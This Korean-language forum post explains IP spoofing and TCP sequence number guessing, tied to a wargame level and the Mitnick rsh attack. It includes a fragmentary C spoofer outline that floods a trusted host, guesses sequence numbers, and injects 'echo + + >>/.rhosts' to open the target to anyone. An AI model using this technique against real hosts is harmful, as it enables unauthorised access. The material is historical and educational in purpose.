질문&답변
클라우드/리눅스에 관한 질문과 답변을 주고 받는 곳입니다.
리눅스 분류

해커스랩 레벨 10 (스푸핑) 관련...

작성자 정보

  • 관리자 작성
  • 작성일

컨텐츠 정보

본문

ball.gif IP 스푸핑이란?


spoof란 단어는 '속이다, 사기치다'는 뜻이다. 즉 쉽게 설명하면 해커가 머물러있는, 또는 단순히
악용하고자 하는 호스트의 IP 어드레스를 바꾸어서 이를 통해 해킹을 하는 것이다. 가령 A란
호스트와 B란 호스트가 하드디 스크를 공유하고 있는데 A 란 호스트와 B란 호스트는 보안이 잘
되어서 해킹하기가 보통 어려운 것이 아니라고 하자.

하지만 어떻게서든지 B란 호스트 안에 있는 일급 극비 문서를 훔쳐오고 싶다면 어떻게 해야 할까?
그렇다면 해커의 최선의 선택 방법은 다음과 같다. 우선 자신이 머물러 있는 호스트의 IP 어드레스를
B의 어드레스로 위장을 한다.
위장을 하면 B 의 호스트의 화면에는 duplicated IP address 라는 문장이 찍히게 되고 B호스트는 네트워크 기능을 잠시 상실하게 된다.

이때를 놓치지 않고 해커의 호스트는 A 호스트에게 자신이 진짜 B호스트라는 정보를 보내어
A호스트와 같이 하드 디스크를 공유 하도록 시도한다. 성공하게 되면 해커는 A호스트의
하드디스크에 있는 극비 문서를 A호스트나 B 호스트에 잡입하지 않고도 얻어낼 수 있게 된다.

또한 IP 스푸핑과 항상 연동돼 사용되는 공격법으로 TCP sequence number guessing attack을
들 수 있다. 이에 대해서도 잠시 설명해볼까 한다.

ball.gifTCP Sequence Number Guessing Attack이란?


과거에 Internet worm의 저자로도 유명했던 Robert T.Morris가 벨 연구소에서 인턴쉽으로 일할 때
썼던 논문에서 처음으로 알려 졌고 AT&T사의 Bellovin S.M이 89년에 쓴 논문에서도 언급이
되었던 공격 방법이다(Security Problems in the TCP/IP Protocol Suite).

케빈 미트닉이 사용한 방법

또한, 이런 공격을 이용해 작년도에 시큐리티계를 떠들석하게 했었던 사건이 하나 있다.
바로 케빈 미트닉이 시모무라 쓰토무( 슈퍼컴퓨터 센터 소속 연구원)의 컴퓨터를 공격해 자료를 빼간
뒤 관리자인 시모무라 쓰토무를 조롱하고 달아난 사건이다.
케빈 미트닉은 상당기간 동안 잡히지 않다가 시모무라 쓰토쿠의 눈물겨운 추적끝에 간신히
잡힌 것으 로 이 사건은 결말나게 되었다.
케빈 미트닉이 체포되어 잡혀가면서 시모무라에게 "당신의 실력은 정말 놀라왔소." 라고 말해
더 유명해진 사건이기도 하다.
바로 이 사건에서 케빈 미트닉이 쓴 방법도 TCP Sequence Number guessing attack의
특별한 한 형태라고 할 수 있다 .
(미트닉이 사용한 방법은 IP 어드레스를 spoof해서 Berkerly R-command(rlogin, rcp , rsh 등등)를 공격한 방법이었다.)

자 이제, IP Spoofing과 TCP Sequence number guessing attack을 자세히 알아보자.
간단히 A와 B라는 호스트가 서로를 trust하 고 있다고 가정하자.
자신의 PC의 IP 어드레스를 B라는 호스트로 바꾸고 A에게 접근하면
가능성이 있지 않겠느냐라고 의문을 제기하는 분이 계실지도 모르겠으나
자신의 위치가 B라는 호스트가 위치한 곳보다 A보다 훨씬 더 시간적으로 유리한 위치,
즉 LAN 에서나 가능할 법한 이야기다.
그 외의 경우에는 거의 소용이 없다고 보아도 무방하다.

자신의 IP 어드레스를 변조해도 B라는 trusted host가 A에게로 도달하는 거리가 멀 뿐만 아니라.
자신의 서브넷에서 다른 IP 어드레스를 가진 패킷을 날린다는 것은 라우팅 상의 문제를 비롯해
갖가지 문제점이 제기된다.

그럼 케빈 미트닉이 Berkeley R-commands를 공격하는 경우를 예로 들어서 IP spoofing 이 어떻게
작용하나에 대해서 알아보기로 하자. 예를 들어 해커의 호스트를 evil.com이라 하고 target.com을
공격하기 위해서 target.com과 good.com간의 trusting Relationship을 이용하고자 한다.
즉 ,

target.com # cat /.rhosts
good.com root
target.com #

간단히 evil.com의 IP 어드레스를 good.com의 IP 어드레스로 바꾼 다음에target.com의 rsh server에
접속하려고 시도했다 하자. 이 경우에는 TCP가 갖고 있는 Initial 3-way 핸드셰이킹 때문에 커넥션이
이뤄지지 않는다. TCP 의 Initial 3-way 핸드셰이킹 의 예를 우선 들어보자.

evil.com# telnet target.com login 할 경우

evil.com -> target.com SYN 1415531521

// evil.com이 Initial sequence number 를 보낸다.

target.com -> evil.com ACK 1415531521 SYN 1823083521

// target.com이 evil.com이 보낸 ISN을 ACK하고 target.com이 자신의
// Initial sequence number 를 보낸다.

evil.com -> target.com ACK 1823083521

// evil.com이 target.com의 ISN을 ACK한다.

위와 같은 패킷이 교환된다.
TCP 헤더의 SYN 플래그는 'synchronize sequence numbers'이다.
SYN 플래그는 TCP Sequence Number를 동반하는데 이 넘버는
TCP/IP implementation마다 생성되는 방법이 약간씩 다르다.
4.4BSD에서는 OS가 초기화될 때 1로 초기 화되고 그 후는 0.5초마다 64,000씩 증가한다.
또한 새로운 TCP 커넥션이 만들어질 때마다 64,000 씩 증가한다.

단순히 evil.com의 IP 어드레스를 바꾸는 것만으로는 target.com이 evil.com한테 보내는 ISN을
받을 수가 없고(왜냐면 target.com은 good.com에게 ISN을 보내겠지요.
라우팅이 그렇게 되어 있을 테니까.) 따라서 커넥션이 성립되지 않는다.
커넥션이 establish되려면 good.com이 target.com이 보내는 ISN이 보내는 패킷에 응답을 하지
말아야할 뿐만 아니라(보통의 경우 good.com은 이럴 경우 RST(Reset connection) 패킷을 보내서 모든 것을 망친다)
target.com이 good.com에게 보낸 ISN을 추측해서 ACK해줘야 한다.
이 두 스텝이 완벽하게 됐을 경우 echo '+ +' >/.rhosts 을 담은 rsh 패킷을 보내 원하는 목적을 이룰 수가 있다.

IP spoofer의 대략적인 코드

hose_conn(trust_host, trust_addr, seq_num, port_num)
{

...
/* sendtcppacket(
struct ether_addr source_hardware addr.
struct ehter_addr dest_hardware addr.
u_long source ip addr.
u_long dest ip addr.
u_short source port.
u_short dest port.
u_long sequence no.
u_long acknowledge no.
int flags (SYN, RST, ACK, PUSH, FIN)
char * data
int strlen(data)
*/
sendtcppacket(&(eh.ether_shost), &(eh.ether_dhost), bad_addr, trust_addr, port_num[i], 513,
seq_num, 0, TM_SYN, NULL, 0);
...

}

det_seq(targ_host, targ_addr, next_seq, offset)
{

...

/ 커넥션을 요구하는 패킷의 전송 /

sendtcppacket(&(eh.ether_shost), &(eh.ether_dhost), my_addr, targ_addr, start_port, 514,
start_seq, 0, TM_SYN, NULL, 0);
/* readpacket(
struct fddi_header fddi_header
struct ether_header ether_header
struct ip ip_header
struct udphdr udp_header
struct tcphdr tcp_header
char * data
int strlen(data) )
*/
while(readpacket(NULL, &eh2, &iph, NULL, &tcph, NULL, NULL) != PTYPE_IP_TCP) ;

if(ntohs(tcph.th_dport)==start_port &&ntohs(tcph.th_sport)==514) {

/ 포트번호가 맞다면 reply 패킷으로 간주하고 guessing을 시작한다 /

if(prev_seq) diff=tcph.th_seq-prev_seq;
else diff=0;
if(*offset==0) *offset=diff;
prev_seq=tcph.th_seq;
sendtcppacket(&(eh.ether_shost), &(eh_ether_dhost), my_addr, targ_addr, start_port++,
514, start_seq++, 0, TM_RST, NULL, 0);

...

}

spoof_conn(trust_addr, targ_host, targ_addr, next_seq)
{
char *string="0rootrootecho + + >>/.rhosts";

/ SYN 패킷을 고유한 시퀀스 번호에 맞춰 전송 /

sendtcppacket(&(eh.ether_shost), &(eh.ether_dhost), trust_addr, targ_addr, port, 514, seq++,
0, TM_SYN, NULL, 0);
usleep(5000);

/ guess한 시퀀스번호에 맞춰 ACK 패킷을 전송 /

sendtcppacket(&(eh.ether_shost), &(eh.ether_dhost), trust_addr, targ_addr, port, 514, seq,
++next_seq, TM_ACK, NULL, 0);

/ rsh request를 시퀀스번호와 ACK번호에 맞추어 전송 /

sendtcppacket(&(eh.ether_shost), &(eh.ether_dhost), trust_addr, targ_addr, port, 514, seq,
next_seq, TM_ACK, string, stringlen);
seq+=stringlen;

/ 전송한 패킷이 ACK되어 처리되기를 기다린다 /

sleep(1);

/ 새로운 시퀀스번호에 맞추어 FIN패킷을 전송 /

sendtcppacket(&(eh.ether_shost), &(eh.ether_dhost), trust_addr, targ_addr, port, 514, seq,
next_seq, TM_FIN, NULL, 0);

/ RST패킷 전송, 커넥션 파기./

sendtcppacket(&(eh.ether_shost), &(eh.ether_dhost), trust_addr, targ_addr, port, 514, seq+4,
next_seq+4, TM_RST, NULL, 0);
...

}

main(argc, argv)
{

/* initialization of the packet */
init_filter("tcp", NULL);

/* trusted host의 513번 포트에 대해 flooding 시작 */
hose_trusted(argv[1], trust_addr, seq_num, port_num);

/* guessing Sequence Number */
det_seq(argv[2], targ_addr, &next_seq, &offset);

/* 실제 spoofing한 커넥션을 시작. 이때에는 다음 시퀀스번호를 알고있다 */
spoof_conn(trust_addr, argv[2], targ_addr, next_seq);

/* 모든 커넥션을 reset. */

reset_trusted(argv[1], trust_addr, seq_num, port_num);
exit(0);
}

* IP spoofing 에 대해서는 다음의 정보를 참조하자.

ftp://ftp.research.att.com/dist/internet_security

Bellovin paper : ipext.ps.Z

-> "Security Problems in the TCP/IP Protocol Suite"

Morris paper : 117.ps.Z

-> "A Weakness in the 4.2BSD Unix TCP/IP Software"

CERT_advisory
CA-95:01.IP.spoofing

 

 

 

이와같이 공부합시다....

관련자료

댓글 0
등록된 댓글이 없습니다.

공지사항


뉴스광장


  • 현재 회원수 :  60,150 명
  • 현재 강좌수 :  36,434 개
  • 현재 접속자 :  261 명